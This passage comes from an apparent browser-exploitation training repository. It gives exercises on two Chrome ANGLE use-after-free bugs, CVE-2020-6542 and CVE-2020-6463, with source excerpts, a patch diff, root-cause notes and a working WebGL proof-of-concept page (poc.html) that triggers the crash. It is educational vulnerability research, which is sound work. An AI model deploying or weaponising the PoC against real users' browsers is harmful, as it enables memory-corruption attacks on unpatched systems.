preserveData)\n{\n    if (mSystemCopy.size() < size)\n    {\n        Context11 *context11 = GetImplAs<Context11>(context);\n        ANGLE_CHECK_GL_ALLOC(context11, mSystemCopy.resize(size));\n        mBufferSize = size;\n    }\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::SystemMemoryStorage::map(const gl::Context *context,\n                                                 size_t offset,\n                                                 size_t length,\n                                                 GLbitfield access,\n                                                 uint8_t **mapPointerOut)\n{\n    ASSERT(!mSystemCopy.empty() && offset + length <= mSystemCopy.size());\n    *mapPointerOut = mSystemCopy.data() + offset;\n    return angle::Result::Continue;\n}\nvoid Buffer11::SystemMemoryStorage::unmap()\n{\n    // No-op\n}\n}  // namespace rx"
  },
  {
    "path": "LEVEL_1/exercise_1/README.md",
    "content": "# Exercise 1\r\n\r\n## CVE-2020-6542\r\nI choose **CVE-2020-6542**, and I sugget you don't search any report about it to prevents get too much info like patch.\r\n\r\n\r\n### Details\r\n\r\n> Google Chrome WebGL Buffer11::getBufferStorage Code Execution Vulnerability\r\n>\r\n> Google Chrome is a cross-platform web browser developed by Google. It supports many features, including WebGL (Web Graphics Library), a JavaScript API for rendering interactive 2-D and 3-D graphics.\r\n>\r\n> In some specific cases after binding a zero size buffer we could end up trying to use a buffer storage that was no longer valid. Fix this by ensuring we don't flush dirty bits when we have an early exit due to a zero size buffer. \r\n\r\n---------\r\n<details>\r\n  <summary>For more info click me!</summary>\r\n\r\n   Chromium crashes inside the `Buffer11::getBufferStorage` function. This is because newStorage element points to previously freed memory, leading to a use-after-free vulnerability.\r\n</details>\r\n\r\n**You'd better read some doc about ANGLE to understand the source code**\r\n\r\n--------\r\n\r\n### Version\r\n\r\nGoogle Chrome  84.0.4147.89\r\n\r\nGoogle Chrome  85.0.4169.0 (Developer Build) (64-bit)\r\n\r\nwe can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/034a8b3f3c5c8e7e1629b8ac88cadb72ea68cf23/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp#246)\r\n\r\n### Related code\r\n\r\nMay be you need fetch the source code\r\n```\r\ngit clone https://chromium.googlesource.com/angle/angle\r\ncd angle\r\ngit reset --hard 50a2725742948702720232ba46be3c1f03822ada\r\n```\r\n```c++\r\nangle::Result VertexArray11::updateDirtyAttribs(const gl::Context *context,\r\n                                                const gl::AttributesMask &activeDirtyAttribs)\r\n{\r\n    const auto &glState  = context->getState();\r\n    const auto &attribs  = mState.getVertexAttributes();\r\n    const auto &bindings = mState.getVertexBindings();\r\n\r\n    for (size_t dirtyAttribIndex : activeDirtyAttribs)\r\n    {\r\n        mAttribsToTranslate.reset(dirtyAttribIndex);\r\n\r\n        auto *translatedAttrib   = &mTranslatedAttribs[dirtyAttribIndex];\r\n        const auto &currentValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex);\r\n\r\n        // Record basic attrib info\r\n        translatedAttrib->attribute        = &attribs[dirtyAttribIndex];\r\n        translatedAttrib->binding          = &bindings[translatedAttrib->attribute->bindingIndex];\r\n        translatedAttrib->currentValueType = currentValue.Type;\r\n        translatedAttrib->divisor =\r\n            translatedAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor;\r\n\r\n        switch (mAttributeStorageTypes[dirtyAttribIndex])\r\n        {\r\n            case VertexStorageType::DIRECT:\r\n                VertexDataManager::StoreDirectAttrib(context, translatedAttrib);\r\n                break;\r\n            case VertexStorageType::STATIC:\r\n            {\r\n              \t// can early exit\r\n                ANGLE_TRY(VertexDataManager::StoreStaticAttrib(context, translatedAttrib));\r\n                break;\r\n            }\r\n            case VertexStorageType::CURRENT_VALUE:\r\n                // Current value attribs are managed by the StateManager11.\r\n                break;\r\n            default:\r\n                UNREACHABLE();\r\n                break;\r\n        }\r\n    }\r\n\r\n    return angle::Result::Continue;\r\n}\r\n=========================================================\r\ntemplate <size_t N, typename BitsT, typename ParamT>\r\nBitSetT<N, BitsT, ParamT> &BitSetT<N, BitsT, ParamT>::reset(ParamT pos)\r\n{\r\n    ASSERT(mBits == (mBits & Mask(N)));\r\n    mBits &= ~Bit<BitsT>(pos);\r\n    return *this;\r\n}\r\n=========================================================\r\n#define ANGLE_TRY(EXPR) ANGLE_TRY_TEMPLATE(EXPR, ANGLE_RETURN)\r\n\r\n#define ANGLE_TRY_TEMPLATE(EXPR, FUNC)                \\\r\n    do                                                \\\r\n    {                                                 \\\r\n        auto ANGLE_LOCAL_VAR = EXPR;                  \\\r\n        if (ANGLE_UNLIKELY(IsError(ANGLE_LOCAL_VAR))) \\\r\n        {                                             \\\r\n            FUNC(ANGLE_LOCAL_VAR);                    \\\r\n        }                                             \\\r\n    } while (0)\r\n=========================================================\r\ninline bool IsError(angle::Result result)\r\n{\r\n    return result == angle::Result::Stop;\r\n}\r\n```\r\n```c++\r\nangle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context,\r\n                                                   TranslatedAttribute *translated)\r\n{\r\n    ASSERT(translated->attribute && translated->binding);\r\n    const auto &attrib  = *translated->attribute;\r\n    const auto &binding = *translated->binding;\r\n\r\n    gl::Buffer *buffer = binding.getBuffer().get();\r\n    ASSERT(buffer && attrib.enabled && !DirectStoragePossible(context, attrib, binding));\r\n    BufferD3D *bufferD3D = GetImplAs<BufferD3D>(buffer);\r\n\r\n    // Compute source data pointer\r\n    const uint8_t *sourceData = nullptr;\r\n    const int offset          = static_cast<int>(ComputeVertexAttributeOffset(attrib, binding));\r\n\r\n    ANGLE_TRY(bufferD3D->getData(context, &sourceData));\r\n\r\n    if (sourceData)\r\n    {\r\n        sourceData += offset;\r\n    }\r\n[ ... ]\r\n```\r\n\r\n```c++\r\nangle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData)\r\n{\r\n    if (mSize == 0)\r\n    {\r\n        // TODO(http://anglebug.com/2840): This ensures that we don't crash or assert in robust\r\n        // buffer access behavior mode if there are buffers without any data. However, technically\r\n        // it should still be possible to draw, with fetches from this buffer returning zero.\r\n        return angle::Result::Stop;\r\n    }\r\n\r\n    SystemMemoryStorage *systemMemoryStorage = nullptr;\r\n  \t\r\n    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage));\r\n\r\n    ASSERT(systemMemoryStorage->getSize() >= mSize);\r\n\r\n    *outData = systemMemoryStorage->getSystemCopy()->data();\r\n    return angle::Result::Continue;\r\n}\r\n```\r\n\r\n```c++\r\ntemplate <typename StorageOutT>\r\nangle::Result Buffer11::getBufferStorage(const gl::Context *context,\r\n                                         BufferUsage usage,\r\n                                         StorageOutT **storageOut)\r\n{\r\n    ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT);\r\n    BufferStorage *&newStorage = mBufferStorages[usage];\r\n\r\n    if (!newStorage)\r\n    {\r\n        newStorage = allocateStorage(usage);\r\n    }\r\n\r\n    markBufferUsage(usage);\r\n\r\n    // resize buffer\r\n    if (newStorage->getSize() < mSize)\r\n    {\r\n        ANGLE_TRY(newStorage->resize(context, mSize, true));\r\n    }\r\n\r\n    ASSERT(newStorage);\r\n\r\n    ANGLE_TRY(updateBufferStorage(context, newStorage, 0, mSize));\r\n    ANGLE_TRY(garbageCollection(context, usage));\r\n\r\n    *storageOut = GetAs<StorageOutT>(newStorage);\r\n    return angle::Result::Continue;\r\n}\r\n```\r\n\r\n\r\n### Do it\r\n\r\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\r\n\r\n---------\r\n<details>\r\n  <summary>My answer</summary>\r\n\r\n  The answer I write is incomplete, the following answer doesn't mention the reletion between patch and uaf -_-. Recently I have no time to debug PoC to get the truely answer. So I hope you can correct this.\r\n\r\n  patch:\r\n  ```diff\r\ndiff --git a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp\r\nindex 6bb0bf8..a5f8b6a 100644\r\n--- a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp\r\n+++ b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp\r\n@@ -253,8 +253,6 @@\r\n \r\n     for (size_t dirtyAttribIndex : activeDirtyAttribs)\r\n     {\r\n-        mAttribsToTranslate.reset(dirtyAttribIndex);\r\n-\r\n         auto *translatedAttrib   = &mTranslatedAttribs[dirtyAttribIndex];\r\n         const auto &currentValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex);\r\n \r\n@@ -282,6 +280,9 @@\r\n                 UNREACHABLE();\r\n                 break;\r\n         }\r\n+\r\n+        // Make sure we reset the dirty bit after the switch because STATIC can early exit.\r\n+        mAttribsToTranslate.reset(dirtyAttribIndex);\r\n     }\r\n \r\n     return angle::Result::Continue;\r\n  ```\r\n  doc about [dirty bits](https://chromium.googlesource.com/angle/angle/+/50a2725742948702720232ba46be3c1f03822ada/doc/DirtyBits.md)\r\n  \r\n  ```c++\r\n    angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData)\r\n    {\r\n        if (mSize == 0)\r\n        {\r\n            return angle::Result::Stop;  [1]\r\n        }\r\n        SystemMemoryStorage *systemMemoryStorage = nullptr;\r\n        // call getBufferStorage\r\n        ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage));\r\n    }\r\n  ```\r\n  incomplete answer:\r\n  [1] `Buffer11::getData` can return `angle::Result::Stop` if `mSize == 0`\r\n  ```c++\r\n    angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context,\r\n                                                    TranslatedAttribute *translated)\r\n    {\r\n        BufferD3D *bufferD3D = GetImplAs<BufferD3D>(buffer);\r\n        // Compute source data pointer\r\n        const uint8_t *sourceData = nullptr;\r\n        const int offset          = static_cast<int>(ComputeVertexAttributeOffset(attrib, binding));\r\n\r\n        ANGLE_TRY(bufferD3D->getData(context, &sourceData));   [2]\r\n\r\n        if (sourceData)\r\n        {\r\n            sourceData += offset;\r\n        }\r\n    [ ... ]\r\n    ==========================================================\r\n    Buffer11::~Buffer11()\r\n    {\r\n        for (BufferStorage *&storage : mBufferStorages)\r\n        {\r\n            SafeDelete(storage);\r\n        }\r\n    [ ... ]\r\n  ```\r\n  [2] call `Buffer11::getData` in `ANGLE_TRY`, because `mSize == 0` it can return `Stop` then exit early. Finally call `Buffer11::~Buffer11()`, it can free `mBufferStorages`.\r\n  \r\n  One possible situation (maybe wrong) is we can get the raw buffer early because the \"early exit\", and the `Buffer11::~Buffer11()` have not been trigger. I can call `getBufferStorage` in other path during `~Buffer11()` before `mBufferStorages[usage]` was set to null.\r\n  ```c++\r\n    template <typename StorageOutT>\r\n    angle::Result Buffer11::getBufferStorage(const gl::Context *context,\r\n                                            BufferUsage usage,\r\n                                            StorageOutT **storageOut)\r\n    {\r\n        ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT);\r\n        BufferStorage *&newStorage = mBufferStorages[usage];   [3] already freed\r\n\r\n        if (!newStorage)\r\n        {\r\n            newStorage = allocateStorage(usage);\r\n        }\r\n\r\n        markBufferUsage(usage);\r\n\r\n        // resize buffer\r\n        if (newStorage->getSize() < mSize)     [4] trigger uaf\r\n        {\r\n            ANGLE_TRY(newStorage->resize(context, mSize, true));\r\n        }\r\n    }\r\n  ```\r\n  In other path call `getBufferStorage`  will trigger uaf, like\r\n  ```c++\r\n    syncVertexBuffersAndInputLayout ->\r\n        applyVertexBuffers ->\r\n            getBuffer ->\r\n                getBufferStorage\r\n  ```\r\n  I get this call tree by this [report](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127)\r\n\r\n  If you are instread of how to construct the Poc, you can get help form [this](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=457249).\r\n\r\n</details>\r\n\r\n--------\r\n\r\n"
  },
  {
    "path": "LEVEL_1/exercise_1/poc.html",
    "content": "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"utf-8\">\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\" />\n        <title>POC</title>\n    </head>\n<script>\t\nvar ShaderHeaderAddition;\nvar mShaderHeaderLines = [0,0];\t\n\nvar added_lines \t\t\t= \t0;\nvar newMode \t\t\t\t=\t1;\t\nShaderHeaderAddition \t\t= \t\"\";\nShaderHeaderAdditionLines \t= \t0;\n\nvar mDerivatives\t\t\t=\t0;\nvar mShaderTextureLOD \t\t= \t0;\n\t\nif (newMode)\n{\n\tmDerivatives\t\t\t=\t1;\n\tmShaderTextureLOD \t\t= \t1;\t\n}\n\t\nif( mDerivatives ) { ShaderHeaderAddition += \"#ifdef GL_OES_standard_derivatives\\n#extension GL_OES_standard_derivatives : enable\\n#endif\\n\"; ShaderHeaderAdditionLines+=3; }\nif( mShaderTextureLOD  ) { ShaderHeaderAddition += \"#extension GL_EXT_shader_texture_lod : enable\\n\"; ShaderHeaderAdditionLines++; }\nShaderHeaderAddition += \"#ifdef GL_ES\\n\"+\n\t\t\t\t\t\t\t\t\t\t\"precision highp float;\\n\"+\n\t\t\t\t\t\t\t\t\t\t\"precision highp int;\\n\"+\n\t\t\t\t\t\t\t\t\t\t\"#endif\\n\";\n\t\t\t\t\tShaderHeaderAdditionLines += 4;\t\t\n\t\nvar sheader_end = \"\\n\\nvoid main() { mainImage(gl_FragColor.xyzw, gl_FragCoord.xy); } \";\nvar new_vertex_shader = \"\";\n\t\t\t\t\nif (newMode)\n{\n\tShaderHeaderAddition = \"#version 300 es\\n\"+\n\t\t\t\t\t\t\t\t\t\t\t\"#ifdef GL_ES\\n\"+\n\t\t\t\t\t\t\t\t\t\t\t\"precision highp float;\\n\"+\n\t\t\t\t\t\t\t\t\t\t\t\"precision highp int;\\n\"+\n\t\t\t\t\t\t\t\t\t\t\t\"precision mediump sampler3D;\\n\"+\n\t\t\t\t\t\t\t\t\t\t\t\"#endif\\n\"; \n\tShaderHeaderAdditionLines = 6;\n\t\t\t\t\t\t\t\t\t\t\t\t\n\tsheader_end \t=\t\"\\nout vec4 outColor;\\n\" + \n\t\t\t\t\t\t\"\\nvoid main( void )\\n\" +\n\t\t\t\t\t\t\"{\" +\n\t\t\t\t\t\t\"vec4 color = vec4(0.0,0.0,0.0,1.0);\" +\n\t\t\t\t\t\t\"mainImage( color, gl_FragCoord.xy );\" + \n\t\t\t\t\t\t\"outColor = color; }\";\n\n\tnew_vertex_shader =    \"#version 300 es\\n\"+\n\t\t\t\t\t\t\t\"layout(location = 0) in vec2 position; void main() { gl_Position = vec4(position.xy,0.0,1.0); }\";\n}\n\t\nvar sheader = \"\";\nsheader += \"\";\t\t\n\nfunction CalcErrLine(ErrorLine)\n{\n\treturn 0;\n}\t\n\t\t\nvar ShaderStuff = function () {\n    if (window.WebGLRenderingContext) {\n        this.init();\n    } else {\n        console.error('You need a WebGL browser: Try get.webgl.org');\n    }\n};\n\nShaderStuff.prototype = {\n    constructor: ShaderStuff.prototype,\n    mouse: new Float32Array(2),\n    textures: [],\n    width: 320,\n    height: 240,\n    _ready: false,\n    _pause: false,\n\t\n\t_VS:0,\n\t_FS: 0,\n\t_PROGRAM: 0,\n\t_CANVAS: 0,\n\n    _vertexShader: [\n        'attribute vec2 position;',\n        'void main() {',\n        '   gl_Position = vec4( position, 0.0, 1.0 );',\n        '}'],\n\t\n    _fragmentShader: [\n        'void mainImage( out vec4 fragColor, in vec2 fragCoord ) { fragColor.rgb = vec3( 0.5 + 0.5 * cos( iGlobalTime ) ); }',\n\n        'void main() {',\n        '   vec4 color = vec4( 0.0, 0.0, 0.0, 1.0 );',\n        '   mainImage( color, gl_FragCoord.xy );',\n        '   gl_FragColor = color;',\n        '}'],\n\n    _createProgram: function (vertexShader, fragmentShader) {\n        var vs = this._createShader(vertexShader, this.gl.VERTEX_SHADER);\n        var fs = this._createShader(fragmentShader, this.gl.FRAGMENT_SHADER);\n\t\t\n        var program = this.gl.createProgram();\n        this.gl.attachShader(program, vs);\n        this.gl.attachShader(program, fs);\n        this.gl.linkProgram(program);\n\n\t\tthis._VS = vs;\n\t\tthis._FS = fs;\n\t\tthis._PROGRAM = program;\n\n        return program;\n    },\n\n    _createShader: function (str, type) {\n        var shader = this.gl.createShader(type);\n        this.gl.shaderSource(shader, str);\n        this.gl.compileShader(shader);\n\n        var compiled = this.gl.getShaderParameter(shader, this.gl.COMPILE_STATUS);\n\n        if (!compiled) {\n\t\t\tconsole.error('Error compiling shader');\n            this.gl.deleteShader(shader);\n            return null;\n        }\n        return shader;\n    },\n\n    _createTexture: function (index) {\n        this.gl.activeTexture(this.gl.TEXTURE0 + (index));\n        var texture = this.gl.createTexture();\n        this.gl.bindTexture(this.gl.TEXTURE_2D, texture);\n        this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, 1, 1, 0, this.gl.RGBA, this.gl.UNSIGNED_BYTE, new Uint8Array([0, 255, 255, 255]));\n        return texture;\n    },\n\n    _updateTexture: function (buf, index) {\n        if (this.textures[index]) {\n            this.gl.deleteTexture(this.textures[index]);\n            delete this.textures[index];\n\n            this._updateTexture(buf, index);\n        } else {\n            this.textures[index] = this._createTexture(index);\n            this.gl.activeTexture(this.gl.TEXTURE0 + (index));\n            this.gl.bindTexture(this.gl.TEXTURE_2D, this.textures[index]);\n            this.gl.pixelStorei(this.gl.UNPACK_FLIP_Y_WEBGL, true);\n            this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, this.gl.RGBA, this.gl.UNSIGNED_BYTE, buf);\n            if (this._isPowerOf2(buf.width) && this._isPowerOf2(buf.height)) {\n                this.gl.generateMipmap(this.gl.TEXTURE_2D);\n            } else {\n                this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_S, this.gl.REPEAT);\n                this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_T, this.gl.REPEAT);\n                this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MAG_FILTER, this.gl.LINEAR);\n                this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MIN_FILTER, this.gl.LINEAR_MIPMAP_LINEAR);\n            }\n        }\n    },\n\n    _getAttribute: function (name) {\n        if (!this.program.atttributes) {\n            this.program.atttributes = {};\n        }\n\n        if (!this.program.atttributes[name]) {\n            this.program.atttributes[name] = this.gl.getAttribLocation(this.program, name);\n        }\n        return this.program.atttributes[name];\n    },\n\n    _isPowerOf2: function (value) {\n        return (value & (value - 1)) === 0;\n    },\n\n    init: function () {\n        var canvas = document.createElement('canvas');\n        canvas.width = this.width;\n        canvas.height = this.height;\n        document.body.appendChild(canvas);\n\t\t\n\t\tthis._CANVAS = canvas;\n\n\t\tif (newMode)\n\t\t\tthis.gl = canvas.getContext('webgl2');\n\t\telse\n\t\t\tthis.gl = canvas.getContext('webgl');\n\t\t\n\t\tif (!this.gl)\n\t\t{\n\t\t\tconsole.log(\"### USING OLD WEBGL MODE###\");\n\t\t\tnewMode = 0;\n\t\t\tthis.gl = canvas.getContext('webgl');\n\t\t}\t\t\t\n\n        if (!this.gl) {\n            console.error('Couldn\\'t start WebGL ');\n        }\n\t\n\t\ttry\n\t\t{\n\t\t\tthis.gl.getExtension('OES_texture_float');\n\t\t\tthis.gl.getExtension('OES_standard_derivatives');\n\t\t\tthis.gl.getExtension('OES_float_linear');\n\t\t\tthis.gl.getExtension('OES_half_float_linear');\n\n\t\t} catch(e) { }\n        var quad = new Float32Array([-1.0, -1.0, 1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0]);\n        var buffer = this.gl.createBuffer();\n        this.gl.bindBuffer(this.gl.ARRAY_BUFFER, buffer);\n        this.gl.bufferData(this.gl.ARRAY_BUFFER, quad, this.gl.STATIC_DRAW);\n    },\n\n    loadFragmentFromBuff: function (buff) {\n        this._ready = false;\n        this.writeFragment2(buff);\n    },\t\n\n    loadImage: function (url, index) {\n        var self = this;\n\t\tthis.index = index;\n\t\t\n        var image = new Image();\n        image.src = url;\n        image.index = index || 0;\n        image.onload = function () {\n            self._updateTexture(image, this.index);\n        };\n    },\n\n    writeFragment: function (str) {\n        this._ready = false;\n\t\t\n        this._fragmentShader[8] = str;\n        var program = this._createProgram(this._vertexShader.join('\\n'), this._fragmentShader.join('\\n'));\n        this.useProgram(program);\n    },\n\n    writeFragment2: function (str) {\n        this._ready = false;\n        var channels = \"\";\n        var add_lines \t= ShaderHeaderAddition + sheader + channels;\n        added_lines \t= add_lines.split(/\\r\\n|\\r|\\n/).length;\n        var fragment_shader =  ShaderHeaderAddition + sheader + channels + str + sheader_end;\n        if (newMode)\n            var program = this._createProgram(new_vertex_shader, fragment_shader);\n        else\n            var program = this._createProgram(this._vertexShader.join('\\n'), fragment_shader);\n        this.useProgram(program);\n    },\t\n\t\n    useProgram: function (program) {\n        this.program = program;\n        this.gl.useProgram(this.program);\n\n        this.gl.enableVertexAttribArray(this._getAttribute('position'));\n        this.gl.vertexAttribPointer(this._getAttribute('position'), 2, this.gl.FLOAT, false, 0, 0);\n\n        this.startTime = Date.now();\n        this._ready = true;\n    },\n};\n</script>\n\n<script>\nlet shader_data =  `void mainImage ( out vec4 f, in vec2 df ) {  f += 0.1; }`;\nvar ImageData2 = \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAAAAADhZOFXAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAZ0lEQVR42mJgaFBbINChuwIggBj2Oz1IOOH1MgMggBiMN4j3W+2QmwEQQAwf8y8E/iy/EQEQQEzKMvFRgryB3gABxHDG9232EbenKQABxGC/R3G2+WbpyQABxPCv+k7M15IroQABBgAZ8B60eaEoLgAAAABJRU5ErkJggg==\";\nvar renderer;\nvar run_shader = true;\nvar canvas_elem = false;\nvar img = false;\nfunction init() {\n    // init functions\n    renderer = new ShaderStuff();\n    canvas_elem = renderer._CANVAS;\n    renderer.loadImage(ImageData2, 0);\n    renderer.loadFragmentFromBuff(shader_data);\n        \n    //debugger;\n    update();\n}\n// everything above are init functions and helpers\n//\n// bug triggering function \n//\nfunction update() {\n    // trigger function\t\t\n    var gl1 = renderer.gl;\t\t\t\t\n    var buffer2 = gl1.createBuffer(); \n    gl1.bindBuffer(gl1.ARRAY_BUFFER, buffer2); \n\n    gl1.drawArrays(gl1.LINES, 0, 4);\n    \n    var pixels = new Uint8Array(gl1.drawingBufferWidth * gl1.drawingBufferHeight * 4);  \n    gl1.texImage2D(gl1.TEXTURE_2D , 0 , 0x1 , 0x1 , 1 , 1 , gl1.DRAW_BUFFER1 , gl1.BYTE , pixels  ); \n\n    // seems to trigger only when first param is (-1, 1) \n    gl1.vertexAttribPointer(-0.9, 4, gl1.UNSIGNED_BYTE, false, 1, 255); \n    gl1.drawArrays(gl1.TRIANGLES, 0, 6);\n    \n    // recurisivty needed \n    update();\n}           \n</script>\n<body onload=\"init();\"></body>\n</html>\n"
  },
  {
    "path": "LEVEL_1/exercise_2/README.md",
    "content": "# Exercise 2\n\n## CVE-2020-6463\nI sugget you don't search any report about it to prevents get too much info like patch.\n\nThis time we do it by code audit, and download source code.\n### Details\n\n\n> When a new texture is bound, the texture binding state is updated before\n> updating the active texture cache. With this ordering, it is possible to delete\n> the currently bound texture when the binding changes and then use-after-free it\n> when updating the active texture cache.\n>\n> The bug reason in angle/src/libANGLE/State.cpp\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n   https://bugs.chromium.org/p/chromium/issues/detail?id=1065186\n</details>\n\n--------\n\n### Set environment\nWe download the ANGLE\n```sh\ngit clone https://chromium.googlesource.com/angle/angle\n```\nThen checkout the branch, we set the commit hash\n```sh\ncd angle\ngit  reset --hard b83b0f5e9f63261d3d95a75b74ad758509d7a349 # we get it by issue page\n```\n\n### Related code\nwe can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/e514b0cb7e6b8956ea0c93ceca01b63d5deb621d/src/libANGLE/State.cpp#1171) or offline.\n\n\n```c++\nvoid State::setSamplerTexture(const Context *context, TextureType type, Texture *texture)\n{\n    mSamplerTextures[type][mActiveSampler].set(context, texture);\n    if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] &&\n        IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler]))\n    {\n        updateActiveTexture(context, mActiveSampler, texture);\n    }\n    mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);\n}\n=================================================================\nANGLE_INLINE void State::updateActiveTexture(const Context *context,\n                                             size_t textureIndex,\n                                             Texture *texture)\n{\n    const Sampler *sampler = mSamplers[textureIndex].get();\n    mCompleteTextureBindings[textureIndex].bind(texture);\n\n    if (!texture)\n    {\n        mActiveTexturesCache.reset(textureIndex);\n        mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);\n        return;\n    }\n\n    updateActiveTextureState(context, textureIndex, sampler, texture);\n}\n```\n\n```cpp\nusing TextureBindingMap    = angle::PackedEnumMap<TextureType, TextureBindingVector>;\n=======================================================\nTextureBindingMap mSamplerTextures;\n```\n\n```c++\n    void set(const ContextType *context, ObjectType *newObject)\n    {\n        // addRef first in case newObject == mObject and this is the last reference to it.\n        if (newObject != nullptr)\n        {\n            reinterpret_cast<RefCountObject<ContextType, ErrorType> *>(newObject)->addRef();\n        }\n\n        // Store the old pointer in a temporary so we can set the pointer before calling release.\n        // Otherwise the object could still be referenced when its destructor is called.\n        ObjectType *oldObject = mObject;\n        mObject               = newObject;\n        if (oldObject != nullptr)\n        {\n            reinterpret_cast<RefCountObject<ContextType, ErrorType> *>(oldObject)->release(context); \n        }\n    }\n```\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  By reading detail, we can know `the texture binding state is updated before updating the active texture cache`.\n  ```c++\n    void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture)\n    {\n        mSamplerTextures[type][mActiveSampler].set(context, texture);    [1]\n        if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] &&\n            IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler]))\n        {\n            updateActiveTexture(context, mActiveSampler, texture);   [2]\n        }\n        mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);\n    }\n  ```\n  [1] means update the binding state, and [2] means update the active texture cache. What can it delete currently bound texture?\n  ```c++\n    void set(const ContextType *context, ObjectType *newObject)\n    {\n        // addRef first in case newObject == mObject and this is the last reference to it.\n        if (newObject != nullptr)\n        {\n            reinterpret_cast<RefCountObject<ContextType, ErrorType> *>(newObject)->addRef();\n        }\n\n        // Store the old pointer in a temporary so we can set the pointer before calling release.\n        // Otherwise the object could still be referenced when its destructor is called.\n        ObjectType *oldObject = mObject;\n        mObject               = newObject;\n        if (oldObject != nullptr)\n        {\n            reinterpret_cast<RefCountObject<ContextType, ErrorType> *>(oldObject)->release(context);  [3]\n        }\n    }\n  ```\n  There is release in set func, and the Triggering condition is `oldObject != nullptr` we can easily get this by set same `texture` twice. If we call `State::setSamplerTexture` twice with same `texture`, it can trigger uaf at `updateActiveTexture` in the second call.\n\n</details>\n\n--------\n\n"
  },
  {
    "path": "LEVEL_1/exercise_2/VertexArray11.cpp",
    "content": "//\n// Copyright 2016 The ANGLE Project Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n//\n// VertexArray11:\n//   Implementation of rx::VertexArray11.\n//\n\n#include \"libANGLE/renderer/d3d/d3d11/VertexArray11.h\"\n\n#include \"common/bitset_utils.h\"\n#include \"libANGLE/Context.h\"\n#include \"libANGLE/renderer/d3d/IndexBuffer.h\"\n#include \"libANGLE/renderer/d3d/d3d11/Buffer11.h\"\n#include \"libANGLE/renderer/d3d/d3d11/Context11.h\"\n\nusing namespace angle;\n\nnamespace rx\n{\nVertexArray11::VertexArray11(const gl::VertexArrayState &data)\n    : VertexArrayImpl(data),\n      mAttributeStorageTypes(data.getMaxAttribs(), VertexStorageType::CURRENT_VALUE),\n      mTranslatedAttribs(data.getMaxAttribs()),\n      mAppliedNumViewsToDivisor(1),\n      mCurrentElementArrayStorage(IndexStorageType::Invalid),\n      mCachedDestinationIndexType(gl::DrawElementsType::InvalidEnum)\n{}\n\nVertexArray11::~VertexArray11() {}\n\nvoid VertexArray11::destroy(const gl::Context *context) {}\n\n// As VertexAttribPointer can modify both attribute and binding, we should also set other attributes\n// that are also using this binding dirty.\n#define ANGLE_VERTEX_DIRTY_ATTRIB_FUNC(INDEX)                                                \\\n    case gl::VertexArray::DIRTY_BIT_ATTRIB_0 + INDEX:                                        \\\n        if ((*attribBits)[INDEX][gl::VertexArray::DirtyAttribBitType::DIRTY_ATTRIB_POINTER]) \\\n        {                                                                                    \\\n            attributesToUpdate |= mState.getBindingToAttributesMask(INDEX);                  \\\n        }                                                                                    \\\n        else                                                                                 \\\n        {                                                                                    \\\n            attributesToUpdate.set(INDEX);                                                   \\\n        }                                                                                    \\\n        invalidateVertexBuffer = true;                                                       \\\n        (*attribBits)[INDEX].reset();                                                        \\\n        break;\n\n#define ANGLE_VERTEX_DIRTY_BINDING_FUNC(INDEX)                          \\\n    case gl::VertexArray::DIRTY_BIT_BINDING_0 + INDEX:                  \\\n        attributesToUpdate |= mState.getBindingToAttributesMask(INDEX); \\\n        invalidateVertexBuffer = true;                                  \\\n        (*bindingBits)[INDEX].reset();                                  \\\n        break;\n\n#define ANGLE_VERTEX_DIRTY_BUFFER_DATA_FUNC(INDEX)                      \\\n    case gl::VertexArray::DIRTY_BIT_BUFFER_DATA_0 + INDEX:              \\\n        if (mAttributeStorageTypes[INDEX] == 